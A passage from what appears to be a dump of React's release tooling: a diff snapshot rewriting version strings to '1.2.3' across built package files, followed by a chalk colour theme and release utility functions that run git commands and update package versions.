build/node_modules/react-dom/cjs/react-dom.development.js\n@@ -1,5 +1,5 @@\n-/** @license React v0.0.0-b3d1a81a9\n+/** @license React v1.2.3\n  * react-dom.development.js\n  *\n  * Copyright (c) Meta Platforms, Inc. and affiliates.\n  *\n@@ -19347,9 +19347,9 @@\n }\n\n // TODO: this is special because it gets imported during build.\n\n-var ReactVersion = '16.6.1-canary-b3d1a81a9';\n+var ReactVersion = '1.2.3';\n\n // TODO: This type is shared between the reconciler and ReactDOM, but will\n // eventually be lifted out to the renderer.\n var ReactCurrentOwner = ReactSharedInternals.ReactCurrentOwner;\nIndex: build/node_modules/react-dom/cjs/react-dom-server.browser.production.min.js\n===================================================================\n--- build/node_modules/react-dom/cjs/react-dom-server.browser.production.min.js\n+++ build/node_modules/react-dom/cjs/react-dom-server.browser.production.min.js\n@@ -1,5 +1,5 @@\n-/** @license React v0.0.0-b3d1a81a9\n+/** @license React v1.2.3\n  * react-dom-server.browser.production.min.js\n  *\n  * Copyright (c) Meta Platforms, Inc. and affiliates.\n  *\n@@ -41,5 +41,5 @@\n p({selected:void 0,children:void 0},d,{selected:h,children:B})}}if(h=d)ta[b]&&(null!=h.children||null!=h.dangerouslySetInnerHTML?u(\"137\",b,\"\"):void 0),null!=h.dangerouslySetInnerHTML&&(null!=h.children?u(\"60\"):void 0,\"object\"===typeof h.dangerouslySetInnerHTML&&\"__html\"in h.dangerouslySetInnerHTML?void 0:u(\"61\")),null!=h.style&&\"object\"!==typeof h.style?u(\"62\",\"\"):void 0;h=d;f=this.makeStaticMarkup;B=1===this.stack.length;A=\"<\"+a.type;for(x in h)if(Ba.call(h,x)){var l=h[x];if(null!=l){if(\"style\"===\n x){n=void 0;var k=\"\",r=\"\";for(n in l)if(l.hasOwnProperty(n)){var m=0===n.indexOf(\"--\"),t=l[n];if(null!=t){var v=n;if(Z.hasOwnProperty(v))v=Z[v];else{var K=v.replace(va,\"-$1\").toLowerCase().replace(wa,\"-ms-\");v=Z[v]=K}k+=r+v+\":\";r=n;m=null==t||\"boolean\"===typeof t||\"\"===t?\"\":m||\"number\"!==typeof t||0===t||W.hasOwnProperty(r)&&W[r]?(\"\"+t).trim():t+\"px\";k+=m;r=\";\"}}l=k||null}n=null;b:if(m=b,t=h,-1===m.indexOf(\"-\"))m=\"string\"===typeof t.is;else switch(m){case \"annotation-xml\":case \"color-profile\":case \"font-face\":case \"font-face-src\":case \"font-face-uri\":case \"font-face-format\":case \"font-face-name\":case \"missing-glyph\":m=\n !1;break b;default:m=!0}if(m)Ca.hasOwnProperty(x)||(n=x,n=ja(n)&&null!=l?n+\"=\"+('\"'+U(l)+'\"'):\"\");else{m=x;n=l;l=R.hasOwnProperty(m)?R[m]:null;if(t=\"style\"!==m)t=null!==l?0===l.type:!(2<m.length)||\"o\"!==m[0]&&\"O\"!==m[0]||\"n\"!==m[1]&&\"N\"!==m[1]?!1:!0;t||la(m,n,l,!1)?n=\"\":null!==l?(m=l.attributeName,l=l.type,n=3===l||4===l&&!0===n?m+'=\"\"':m+\"=\"+('\"'+U(n)+'\"')):n=ja(m)?m+\"=\"+('\"'+U(n)+'\"'):\"\"}n&&(A+=\" \"+n)}}f||B&&(A+=' data-reactroot=\"\"');var x=A;h=\"\";sa.hasOwnProperty(b)?x+=\"/>\":(x+=\">\",h=\"</\"+a.type+\n \">\");a:{f=d.dangerouslySetInnerHTML;if(null!=f){if(null!=f.__html){f=f.__html;break a}}else if(f=d.children,\"string\"===typeof f||\"number\"===typeof f){f=U(f);break a}f=null}null!=f?(d=[],xa[b]&&\"\\n\"===f.charAt(0)&&(x+=\"\\n\"),x+=f):d=X(d.children);a=a.type;c=null==c||\"http://www.w3.org/1999/xhtml\"===c?ra(a):\"http://www.w3.org/2000/svg\"===c&&\"foreignObject\"===a?\"http://www.w3.org/1999/xhtml\":c;this.stack.push({domNamespace:c,type:b,children:d,childIndex:0,context:e,footer:h});this.previousWasTextNode=\n-!1;return x};return a}(),Ga={renderToString:function(a){a=new Fa(a,!1);try{return a.read(Infinity)}finally{a.destroy()}},renderToStaticMarkup:function(a){a=new Fa(a,!0);try{return a.read(Infinity)}finally{a.destroy()}},renderToNodeStream:function(){u(\"207\")},renderToStaticNodeStream:function(){u(\"208\")},version:\"16.6.1-canary-b3d1a81a9\"},Ha={default:Ga},Ia=Ha&&Ga||Ha;module.exports=Ia.default||Ia;\n+!1;return x};return a}(),Ga={renderToString:function(a){a=new Fa(a,!1);try{return a.read(Infinity)}finally{a.destroy()}},renderToStaticMarkup:function(a){a=new Fa(a,!0);try{return a.read(Infinity)}finally{a.destroy()}},renderToNodeStream:function(){u(\"207\")},renderToStaticNodeStream:function(){u(\"208\")},version:\"1.2.3\"},Ha={default:Ga},Ia=Ha&&Ga||Ha;module.exports=Ia.default||Ia;\nIndex: build/node_modules/react-dom/cjs/react-dom-test-utils.development.js\n===================================================================\n--- build/node_modules/react-dom/cjs/react-dom-test-utils.development.js\n+++ build/node_modules/react-dom/cjs/react-dom-test-utils.development.js\n@@ -1,5 +1,5 @@\n-/** @license React v0.0.0-b3d1a81a9\n+/** @license React v1.2.3\n  * react-dom-test-utils.development.js\n  *\n  * Copyright (c) Meta Platforms, Inc. and affiliates.\n  *\nIndex: build/node_modules/react-is/umd/react-is.development.js\n===================================================================\n--- build/node_modules/react-is/umd/react-is.development.js\n+++ build/node_modules/react-is/umd/react-is.development.js\n@@ -1,5 +1,5 @@\n-/** @license React v0.0.0-b3d1a81a9\n+/** @license React v1.2.3\n  * react-is.development.js\n  *\n  * Copyright (c) Meta Platforms, Inc. and affiliates.\n  *\nIndex: build/node_modules/react-is/umd/react-is.production.min.js\n===================================================================\n--- build/node_modules/react-is/umd/react-is.production.min.js\n+++ build/node_modules/react-is/umd/react-is.production.min.js\n@@ -1,5 +1,5 @@\n-/** @license React v0.0.0-b3d1a81a9\n+/** @license React v1.2.3\n  * react-is.production.min.js\n  *\n  * Copyright (c) Meta Platforms, Inc. and affiliates.\n  *\nIndex: build/node_modules/react-is/cjs/react-is.development.js\n===================================================================\n--- build/node_modules/react-is/cjs/react-is.development.js\n+++ build/node_modules/react-is/cjs/react-is.development.js\n@@ -1,5 +1,5 @@\n-/** @license React v0.0.0-b3d1a81a9\n+/** @license React v1.2.3\n  * react-is.development.js\n  *\n  * Copyright (c) Meta Platforms, Inc. and affiliates.\n  *\nIndex: build/node_modules/react-is/cjs/react-is.production.min.js\n===================================================================\n--- build/node_modules/react-is/cjs/react-is.production.min.js\n+++ build/node_modules/react-is/cjs/react-is.production.min.js\n@@ -1,5 +1,5 @@\n-/** @license React v0.0.0-b3d1a81a9\n+/** @license React v1.2.3\n  * react-is.production.min.js\n  *\n  * Copyright (c) Meta Platforms, Inc. and affiliates.\n  *\nIndex: build/node_modules/react-reconciler/cjs/react-reconciler.development.js\n===================================================================\n--- build/node_modules/react-reconciler/cjs/react-reconciler.development.js\n+++ build/node_modules/react-reconciler/cjs/react-reconciler.development.js\n@@ -1,5 +1,5 @@\n-/** @license React v0.0.0-b3d1a81a9\n+/** @license React v1.2.3\n  * react-reconciler.development.js\n  *\n  * Copyright (c) Meta Platforms, Inc. and affiliates.\n  *\nIndex: build/node_modules/react-reconciler/cjs/react-reconciler.production.min.js\n===================================================================\n--- build/node_modules/react-reconciler/cjs/react-reconciler.production.min.js\n+++ build/node_modules/react-reconciler/cjs/react-reconciler.production.min.js\n@@ -1,5 +1,5 @@\n-/** @license React v0.0.0-b3d1a81a9\n+/** @license React v1.2.3\n  * react-reconciler.production.min.js\n  *\n  * Copyright (c) Meta Platforms, Inc. and affiliates.\n  *\nIndex: build/node_modules/react-reconciler/cjs/react-reconciler-persistent.development.js\n===================================================================\n--- build/node_modules/react-reconciler/cjs/react-reconciler-persistent.development.js\n+++ build/node_modules/react-reconciler/cjs/react-reconciler-persistent.development.js\n@@ -1,5 +1,5 @@\n-/** @license React v0.0.0-b3d1a81a9\n+/** @license React v1.2.3\n  * react-reconciler-persistent.development.js\n  *\n  * Copyright (c) Meta Platforms, Inc. and affiliates.\n  *\nIndex: build/node_modules/react-reconciler/cjs/react-reconciler-persistent.production.min.js\n===================================================================\n--- build/node_modules/react-reconciler/cjs/react-reconciler-persistent.production.min.js\n+++ build/node_modules/react-reconciler/cjs/react-reconciler-persistent.production.min.js\n@@ -1,5 +1,5 @@\n-/** @license React v0.0.0-b3d1a81a9\n+/** @license React v1.2.3\n  * react-reconciler-persistent.production.min.js\n  *\n  * Copyright (c) Meta Platforms, Inc. and affiliates.\n  *\nIndex: build/node_modules/react-reconciler/cjs/react-reconciler-reflection.production.min.js\n===================================================================\n--- build/node_modules/react-reconciler/cjs/react-reconciler-reflection.production.min.js\n+++ build/node_modules/react-reconciler/cjs/react-reconciler-reflection.production.min.js\n@@ -1,5 +1,5 @@\n-/** @license React v0.0.0-b3d1a81a9\n+/** @license React v1.2.3\n  * react-reconciler-reflection.production.min.js\n  *\n  * Copyright (c) Meta Platforms, Inc. and affiliates.\n  *\nIndex: build/node_modules/react-reconciler/cjs/react-reconciler-reflection.development.js\n===================================================================\n--- build/node_modules/react-reconciler/cjs/react-reconciler-reflection.development.js\n+++ build/node_modules/react-reconciler/cjs/react-reconciler-reflection.development.js\n@@ -1,5 +1,5 @@\n-/** @license React v0.0.0-b3d1a81a9\n+/** @license React v1.2.3\n  * react-reconciler-reflection.development.js\n  *\n  * Copyright (c) Meta Platforms, Inc. and affiliates.\n  *\nIndex: build/node_modules/react-test-renderer/umd/react-test-renderer-shallow.development.js\n===================================================================\n--- build/node_modules/react-test-renderer/umd/react-test-renderer-shallow.development.js\n+++ build/node_modules/react-test-renderer/umd/react-test-renderer-shallow.development.js\n@@ -1,5 +1,5 @@\n-/** @license React v0.0.0-b3d1a81a9\n+/** @license React v1.2.3\n  * react-test-renderer-shallow.development.js\n  *\n  * Copyright (c) Meta Platforms, Inc. and affiliates.\n  *\nIndex: build/node_modules/react-test-renderer/umd/react-test-renderer-shallow.production.min.js\n===================================================================\n--- build/node_modules/react-test-renderer/umd/react-test-renderer-shallow.production.min.js\n+++ build/node_modules/react-test-renderer/umd/react-test-renderer-shallow.production.min.js\n@@ -1,5 +1,5 @@\n-/** @license React v0.0.0-b3d1a81a9\n+/** @license React v1.2.3\n  * react-test-renderer-shallow.production.min.js\n  *\n  * Copyright (c) Meta Platforms, Inc. and affiliates.\n  *\nIndex: build/node_modules/react-test-renderer/umd/react-test-renderer.development.js\n===================================================================\n--- build/node_modules/react-test-renderer/umd/react-test-renderer.development.js\n+++ build/node_modules/react-test-renderer/umd/react-test-renderer.development.js\n@@ -1,5 +1,5 @@\n-/** @license React v0.0.0-b3d1a81a9\n+/** @license React v1.2.3\n  * react-test-renderer.development.js\n  *\n  * Copyright (c) Meta Platforms, Inc. and affiliates.\n  *\n@@ -11622,9 +11622,9 @@\n }\n\n // TODO: this is special because it gets imported during build.\n\n-var ReactVersion = '16.6.1-canary-b3d1a81a9';\n+var ReactVersion = '1.2.3';\n\n var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if (\"value\" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();\n\n function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError(\"Cannot call a class as a function\"); } }\nIndex: build/node_modules/react-test-renderer/umd/react-test-renderer.production.min.js\n===================================================================\n--- build/node_modules/react-test-renderer/umd/react-test-renderer.production.min.js\n+++ build/node_modules/react-test-renderer/umd/react-test-renderer.production.min.js\n@@ -1,5 +1,5 @@\n-/** @license React v0.0.0-b3d1a81a9\n+/** @license React v1.2.3\n  * react-test-renderer.production.min.js\n  *\n  * Copyright (c) Meta Platforms, Inc. and affiliates.\n  *\n@@ -117,5 +117,5 @@\n !0===b.unstable_isConcurrent&&(d=!0));var e={children:[],createNodeMock:c,tag:\"CONTAINER\"},g=Gd(e,d,!1);null==g?n(\"215\"):void 0;ac(a,g,null,null);a={root:void 0,toJSON:function(){if(null==g||null==g.current||null==e||0===e.children.length)return null;if(1===e.children.length)return bc(e.children[0]);var a=null;if(e.children&&e.children.length)for(var b=0;b<e.children.length;b++){var c=bc(e.children[b]);null!==c&&(null===a?a=[c]:a.push(c))}return a},toTree:function(){return null==g||null==g.current?\n null:sb(g.current)},update:function(a){null!=g&&null!=g.current&&ac(a,g,null,null)},unmount:function(){null!=g&&null!=g.current&&(ac(null,g,null,null),g=e=null)},getInstance:function(){if(null==g||null==g.current)return null;a:{var a=g.current;if(a.child)switch(a.child.tag){case 5:a=Ra(a.child.stateNode);break a;default:a=a.child.stateNode}else a=null}return a},unstable_flushAll:Ad,unstable_flushSync:function(a){Ab();a:{la?n(\"187\"):void 0;var b=ob;ob=!0;try{b:{var c=Ia;Ia=1073741823;try{var d=a(void 0,\n void 0,void 0,void 0);break b}finally{Ia=c}d=void 0}break a}finally{ob=b,mb(1073741823,!1)}d=void 0}return d},unstable_flushNumberOfYields:Bd,unstable_clearLog:Ab};Object.defineProperty(a,\"root\",{configurable:!0,enumerable:!0,get:function(){if(null===g)throw Error(\"Can't access .root on unmounted test renderer\");var a=cc(g.current);if(0===a.length)throw Error(\"Can't access .root on unmounted test renderer\");return 1===a.length?a[0]:ec(g.current)}});return a},unstable_yield:function(a){I.push(a)},\n unstable_clearLog:Ab,unstable_batchedUpdates:function(a,b){if(jc)return a(b);jc=!0;try{return a(b)}finally{if(jc=!1,(null!==ub||null!==ic)&&ub&&(b=ub,a=ic,ic=ub=null,td(b),a))for(b=0;b<a.length;b++)td(a[b])}},unstable_setNowImplementation:function(a){jb=a}},gc=new WeakMap;(function(a){var b=a.findFiberByHostInstance;return Dd(V({},a,{findHostInstanceByFiber:function(a){a=zd(a);return null===a?null:a.stateNode},findFiberByHostInstance:function(a){return b?b(a):null}}))})({findFiberByHostInstance:function(){throw Error(\"TestRenderer does not support findFiberByHostInstance()\");\n-},bundleType:0,version:\"16.6.1-canary-b3d1a81a9\",rendererPackageName:\"react-test-renderer\"});var xd={default:wd},yd=xd&&wd||xd;return yd.default||yd});\n+},bundleType:0,version:\"1.2.3\",rendererPackageName:\"react-test-renderer\"});var xd={default:wd},yd=xd&&wd||xd;return yd.default||yd});\nIndex: build/node_modules/react-test-renderer/cjs/react-test-renderer-shallow.development.js\n===================================================================\n--- build/node_modules/react-test-renderer/cjs/react-test-renderer-shallow.development.js\n+++ build/node_modules/react-test-renderer/cjs/react-test-renderer-shallow.development.js\n@@ -1,5 +1,5 @@\n-/** @license React v0.0.0-b3d1a81a9\n+/** @license React v1.2.3\n  * react-test-renderer-shallow.development.js\n  *\n  * Copyright (c) Meta Platforms, Inc. and affiliates.\n  *\nIndex: build/node_modules/react-test-renderer/cjs/react-test-renderer-shallow.production.min.js\n===================================================================\n--- build/node_modules/react-test-renderer/cjs/react-test-renderer-shallow.production.min.js\n+++ build/node_modules/react-test-renderer/cjs/react-test-renderer-shallow.production.min.js\n@@ -1,5 +1,5 @@\n-/** @license React v0.0.0-b3d1a81a9\n+/** @license React v1.2.3\n  * react-test-renderer-shallow.production.min.js\n  *\n  * Copyright (c) Meta Platforms, Inc. and affiliates.\n  *\nIndex: build/node_modules/react-test-renderer/cjs/react-test-renderer.development.js\n===================================================================\n--- build/node_modules/react-test-renderer/cjs/react-test-renderer.development.js\n+++ build/node_modules/react-test-renderer/cjs/react-test-renderer.development.js\n@@ -1,5 +1,5 @@\n-/** @license React v0.0.0-b3d1a81a9\n+/** @license React v1.2.3\n  * react-test-renderer.development.js\n  *\n  * Copyright (c) Meta Platforms, Inc. and affiliates.\n  *\n@@ -11498,9 +11498,9 @@\n }\n\n // TODO: this is special because it gets imported during build.\n\n-var ReactVersion = '16.6.1-canary-b3d1a81a9';\n+var ReactVersion = '1.2.3';\n\n var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if (\"value\" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();\n\n function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError(\"Cannot call a class as a function\"); } }\nIndex: build/node_modules/react-test-renderer/cjs/react-test-renderer.production.min.js\n===================================================================\n--- build/node_modules/react-test-renderer/cjs/react-test-renderer.production.min.js\n+++ build/node_modules/react-test-renderer/cjs/react-test-renderer.production.min.js\n@@ -1,5 +1,5 @@\n-/** @license React v0.0.0-b3d1a81a9\n+/** @license React v1.2.3\n  * react-test-renderer.production.min.js\n  *\n  * Copyright (c) Meta Platforms, Inc. and affiliates.\n  *\n@@ -140,5 +140,5 @@\n var $d={create:function(a,b){var c=Nd.createNodeMock,d=!1;\"object\"===typeof b&&null!==b&&(\"function\"===typeof b.createNodeMock&&(c=b.createNodeMock),!0===b.unstable_isConcurrent&&(d=!0));var e={children:[],createNodeMock:c,tag:\"CONTAINER\"},g=eb(e,d,!1);null==g?n(\"215\"):void 0;Hd(a,g,null,null);a={root:void 0,toJSON:function(){if(null==g||null==g.current||null==e||0===e.children.length)return null;if(1===e.children.length)return Od(e.children[0]);var a=null;if(e.children&&e.children.length)for(var b=\n 0;b<e.children.length;b++){var c=Od(e.children[b]);null!==c&&(null===a?a=[c]:a.push(c))}return a},toTree:function(){return null==g||null==g.current?null:Sd(g.current)},update:function(a){null!=g&&null!=g.current&&Hd(a,g,null,null)},unmount:function(){null!=g&&null!=g.current&&(Hd(null,g,null,null),g=e=null)},getInstance:function(){if(null==g||null==g.current)return null;a:{var a=g.current;if(a.child)switch(a.child.tag){case 5:a=Ea(a.child.stateNode);break a;default:a=a.child.stateNode}else a=null}return a},\n unstable_flushAll:za,unstable_flushSync:function(a){Ba();a:{pd?n(\"187\"):void 0;var b=sd;sd=!0;try{b:{var c=Vc;Vc=1073741823;try{var d=a(void 0,void 0,void 0,void 0);break b}finally{Vc=c}d=void 0}break a}finally{sd=b,Dd(1073741823,!1)}d=void 0}return d},unstable_flushNumberOfYields:Aa,unstable_clearLog:Ba};Object.defineProperty(a,\"root\",{configurable:!0,enumerable:!0,get:function(){if(null===g)throw Error(\"Can't access .root on unmounted test renderer\");var a=Vd(g.current);if(0===a.length)throw Error(\"Can't access .root on unmounted test renderer\");\n return 1===a.length?a[0]:Wd(g.current)}});return a},unstable_yield:function(a){D.push(a)},unstable_clearLog:Ba,unstable_batchedUpdates:function(a,b){if(Ld)return a(b);Ld=!0;try{return a(b)}finally{if(Ld=!1,(null!==Id||null!==Jd)&&Id&&(b=Id,a=Jd,Jd=Id=null,Kd(b),a))for(b=0;b<a.length;b++)Kd(a[b])}},unstable_setNowImplementation:function(a){wa=a}},ae=new WeakMap;function Wd(a){var b=ae.get(a);void 0===b&&null!==a.alternate&&(b=ae.get(a.alternate));void 0===b&&(b=new Zd(a),ae.set(a,b));return b}\n-(function(a){var b=a.findFiberByHostInstance;return Wa(m({},a,{findHostInstanceByFiber:function(a){a=va(a);return null===a?null:a.stateNode},findFiberByHostInstance:function(a){return b?b(a):null}}))})({findFiberByHostInstance:function(){throw Error(\"TestRenderer does not support findFiberByHostInstance()\");},bundleType:0,version:\"16.6.1-canary-b3d1a81a9\",rendererPackageName:\"react-test-renderer\"});var be={default:$d},ce=be&&$d||be;module.exports=ce.default||ce;\n+(function(a){var b=a.findFiberByHostInstance;return Wa(m({},a,{findHostInstanceByFiber:function(a){a=va(a);return null===a?null:a.stateNode},findFiberByHostInstance:function(a){return b?b(a):null}}))})({findFiberByHostInstance:function(){throw Error(\"TestRenderer does not support findFiberByHostInstance()\");},bundleType:0,version:\"1.2.3\",rendererPackageName:\"react-test-renderer\"});var be={default:$d},ce=be&&$d||be;module.exports=ce.default||ce;\nIndex: build/node_modules/scheduler/cjs/scheduler.development.js\n===================================================================\n--- build/node_modules/scheduler/cjs/scheduler.development.js\n+++ build/node_modules/scheduler/cjs/scheduler.development.js\n@@ -1,5 +1,5 @@\n-/** @license React v0.0.0-b3d1a81a9\n+/** @license React v1.2.3\n  * scheduler.development.js\n  *\n  * Copyright (c) Meta Platforms, Inc. and affiliates.\n  *\nIndex: build/node_modules/scheduler/cjs/scheduler.production.min.js\n===================================================================\n--- build/node_modules/scheduler/cjs/scheduler.production.min.js\n+++ build/node_modules/scheduler/cjs/scheduler.production.min.js\n@@ -1,5 +1,5 @@\n-/** @license React v0.0.0-b3d1a81a9\n+/** @license React v1.2.3\n  * scheduler.production.min.js\n  *\n  * Copyright (c) Meta Platforms, Inc. and affiliates.\n  *\nIndex: build/node_modules/scheduler/cjs/scheduler-tracing.production.min.js\n===================================================================\n--- build/node_modules/scheduler/cjs/scheduler-tracing.production.min.js\n+++ build/node_modules/scheduler/cjs/scheduler-tracing.production.min.js\n@@ -1,5 +1,5 @@\n-/** @license React v0.0.0-b3d1a81a9\n+/** @license React v1.2.3\n  * scheduler-tracing.production.min.js\n  *\n  * Copyright (c) Meta Platforms, Inc. and affiliates.\n  *\nIndex: build/node_modules/scheduler/cjs/scheduler-tracing.profiling.min.js\n===================================================================\n--- build/node_modules/scheduler/cjs/scheduler-tracing.profiling.min.js\n+++ build/node_modules/scheduler/cjs/scheduler-tracing.profiling.min.js\n@@ -1,5 +1,5 @@\n-/** @license React v0.0.0-b3d1a81a9\n+/** @license React v1.2.3\n  * scheduler-tracing.profiling.min.js\n  *\n  * Copyright (c) Meta Platforms, Inc. and affiliates.\n  *\nIndex: build/node_modules/scheduler/cjs/scheduler-tracing.development.js\n===================================================================\n--- build/node_modules/scheduler/cjs/scheduler-tracing.development.js\n+++ build/node_modules/scheduler/cjs/scheduler-tracing.development.js\n@@ -1,5 +1,5 @@\n-/** @license React v0.0.0-b3d1a81a9\n+/** @license React v1.2.3\n  * scheduler-tracing.development.js\n  *\n  * Copyright (c) Meta Platforms, Inc. and affiliates.\n  *\n"
  },
  {
    "path": "scripts/release/theme.js",
    "content": "'use strict';\n\nconst chalk = require('chalk');\n\nconst colors = {\n  blue: '#0091ea',\n  gray: '#78909c',\n  green: '#00c853',\n  red: '#d50000',\n  yellow: '#ffd600',\n};\n\nconst theme = chalk.constructor();\ntheme.package = theme.hex(colors.green);\ntheme.version = theme.hex(colors.yellow);\ntheme.tag = theme.hex(colors.yellow);\ntheme.build = theme.hex(colors.yellow);\ntheme.commit = theme.hex(colors.yellow);\ntheme.error = theme.hex(colors.red).bold;\ntheme.dimmed = theme.hex(colors.gray);\ntheme.caution = theme.hex(colors.red).bold;\ntheme.link = theme.hex(colors.blue).underline.italic;\ntheme.header = theme.hex(colors.green).bold;\ntheme.path = theme.hex(colors.gray).italic;\ntheme.command = theme.hex(colors.gray);\ntheme.quote = theme.italic;\n\ntheme.diffHeader = theme.hex(colors.gray);\ntheme.diffAdded = theme.hex(colors.green);\ntheme.diffRemoved = theme.hex(colors.red);\n\ntheme.spinnerInProgress = theme.hex(colors.yellow);\ntheme.spinnerError = theme.hex(colors.red);\ntheme.spinnerSuccess = theme.hex(colors.green);\n\nmodule.exports = theme;\n"
  },
  {
    "path": "scripts/release/utils.js",
    "content": "'use strict';\n\nconst {exec} = require('child-process-promise');\nconst {createPatch} = require('diff');\nconst {hashElement} = require('folder-hash');\nconst {existsSync, readFileSync, writeFileSync} = require('fs');\nconst {readJson, writeJson} = require('fs-extra');\nconst logUpdate = require('log-update');\nconst {join} = require('path');\nconst createLogger = require('progress-estimator');\nconst prompt = require('prompt-promise');\nconst theme = require('./theme');\nconst {stablePackages, experimentalPackages} = require('../../ReactVersions');\n\n// https://www.npmjs.com/package/progress-estimator#configuration\nconst logger = createLogger({\n  storagePath: join(__dirname, '.progress-estimator'),\n});\n\nconst addDefaultParamValue = (optionalShortName, longName, defaultValue) => {\n  let found = false;\n  for (let i = 0; i < process.argv.length; i++) {\n    const current = process.argv[i];\n    if (current === optionalShortName || current.startsWith(`${longName}=`)) {\n      found = true;\n      break;\n    }\n  }\n\n  if (!found) {\n    process.argv.push(`${longName}=${defaultValue}`);\n  }\n};\n\nconst confirm = async message => {\n  const confirmation = await prompt(theme`\\n{caution ${message}} (y/N) `);\n  prompt.done();\n  if (confirmation !== 'y' && confirmation !== 'Y') {\n    console.log(theme`\\n{caution Release cancelled.}`);\n    process.exit(0);\n  }\n};\n\nconst execRead = async (command, options) => {\n  const {stdout} = await exec(command, options);\n\n  return stdout.trim();\n};\n\nconst extractCommitFromVersionNumber = version => {\n  // Support stable version format e.g. \"0.0.0-0e526bcec-20210202\"\n  // and experimental version format e.g. \"0.0.0-experimental-0e526bcec-20210202\"\n  const match = version.match(/0\\.0\\.0\\-([a-z]+\\-){0,1}([^-]+).+/);\n  if (match === null) {\n    throw Error(`Could not extra commit from version \"${version}\"`);\n  }\n  return match[2];\n};\n\nconst getBuildInfo = async () => {\n  const cwd = join(__dirname, '..', '..');\n\n  const isExperimental = process.env.RELEASE_CHANNEL === 'experimental';\n\n  const branch = await execRead('git branch | grep \\\\* | cut -d \" \" -f2', {\n    cwd,\n  });\n  const commit = await execRead('git show -s --no-show-signature --format=%h', {\n    cwd,\n  });\n  const checksum = await getChecksumForCurrentRevision(cwd);\n  const dateString = await getDateStringForCommit(commit);\n  const version = isExperimental\n    ? `0.0.0-experimental-${commit}-${dateString}`\n    : `0.0.0-${commit}-${dateString}`;\n\n  // React version is stored explicitly, separately for DevTools support.\n  // See updateVersionsForNext() below for more info.\n  const packageJSON = await readJson(\n    join(cwd, 'packages', 'react', 'package.json')\n  );\n  const reactVersion = isExperimental\n    ? `${packageJSON.version}-experimental-${commit}-${dateString}`\n    : `${packageJSON.version}-${commit}-${dateString}`;\n\n  return {branch, checksum, commit, reactVersion, version};\n};\n\nconst getChecksumForCurrentRevision = async cwd => {\n  const packagesDir = join(cwd, 'packages');\n  const hashedPackages = await hashElement(packagesDir, {\n    encoding: 'hex',\n    files: {exclude: ['.DS_Store']},\n  });\n  return hashedPackages.hash.slice(0, 7);\n};\n\nconst getDateStringForCommit = async commit => {\n  let dateString = await execRead(\n    `git show -s --no-show-signature --format=%cd --date=format:%Y%m%d ${commit}`\n  );\n\n  // On CI environment, this string is wrapped with quotes '...'s\n  if (dateString.startsWith(\"'\")) {\n    dateString = dateString.slice(1, 9);\n  }\n\n  return dateString;\n};\n\nconst getCommitFromCurrentBuild = async () => {\n  const cwd = join(__dirname, '..', '..');\n\n  // If this build includes a build-info.json file, extract the commit from it.\n  // Otherwise fall back to parsing from the package version number.\n  // This is important to make the build reproducible (e.g. by Mozilla reviewers).\n  const buildInfoJSON = join(\n    cwd,\n    'build',\n    'oss-experimental',\n    'react',\n    'build-info.json'\n  );\n  if (existsSync(buildInfoJSON)) {\n    const buildInfo = await readJson(buildInfoJSON);\n    return buildInfo.commit;\n  } else {\n    const packageJSON = join(\n      cwd,\n      'build',\n      'oss-experimental',\n      'react',\n      'package.json'\n    );\n    const {version} = await readJson(packageJSON);\n    return extractCommitFromVersionNumber(version);\n  }\n};\n\nconst getPublicPackages = isExperimental => {\n  const packageNames = Object.keys(stablePackages);\n  if (isExperimental) {\n    packageNames.push(...experimentalPackages);\n  }\n  return packageNames;\n};\n\nconst handleError = error => {\n  logUpdate.clear();\n\n  const message = error.message.trim().replace(/\\n +/g, '\\n');\n  const stack = error.stack.replace(error.message, '');\n\n  console.log(theme`{error ${message}}\\n\\n{path ${stack}}`);\n  process.exit(1);\n};\n\nconst logPromise = async (promise, text, estimate) =>\n  logger(promise, text, {estimate});\n\nconst printDiff = (path, beforeContents, afterContents) => {\n  const patch = createPatch(path, beforeContents, afterContents);\n  const coloredLines = patch\n    .split('\\n')\n    .slice(2) // Trim index file\n    .map((line, index) => {\n      if (index <= 1) {\n        return theme.diffHeader(line);\n      }\n      switch (line[0]) {\n        case '+':\n          return theme.diffAdded(line);\n        case '-':\n          return theme.diffRemoved(line);\n        case ' ':\n          return line;\n        case '@':\n          return null;\n        case '\\\\':\n          return null;\n      }\n    })\n    .filter(line => line);\n  console.log(coloredLines.join('\\n'));\n  return patch;\n};\n\n// Convert an array param (expected format \"--foo bar baz\")\n// to also accept comma input (e.g. \"--foo bar,baz\")\nconst splitCommaParams = array => {\n  for (let i = array.length - 1; i >= 0; i--) {\n    const param = array[i];\n    if (param.includes(',')) {\n      array.splice(i, 1, ...param.split(','));\n    }\n  }\n};\n\n// This method is used by both local Node release scripts and Circle CI bash scripts.\n// It updates version numbers in package JSONs (both the version field and dependencies),\n// As well as the embedded renderer version in \"packages/shared/ReactVersion\".\n// Canaries version numbers use the format of 0.0.0-<sha>-<date> to be easily recognized (e.g. 0.0.0-01974a867-20200129).\n// A separate \"React version\" is used for the embedded renderer version to support DevTools,\n// since it needs to distinguish between different version ranges of React.\n// It is based on the version of React in the local package.json (e.g. 16.12.0-01974a867-20200129).\n// Both numbers will be replaced if the \"next\" release is promoted to a stable release.\nconst updateVersionsForNext = async (cwd, reactVersion, version) => {\n  const isExperimental = reactVersion.includes('experimental');\n  const packages = getPublicPackages(isExperimental);\n  const packagesDir = join(cwd, 'packages');\n\n  // Update the shared React version source file.\n  // This is bundled into built renderers.\n  // The promote script will replace this with a final version later.\n  const sourceReactVersionPath = join(cwd, 'packages/shared/ReactVersion.js');\n  const sourceReactVersion = readFileSync(\n    sourceReactVersionPath,\n    'utf8'\n  ).replace(/export default '[^']+';/, `export default '${reactVersion}';`);\n  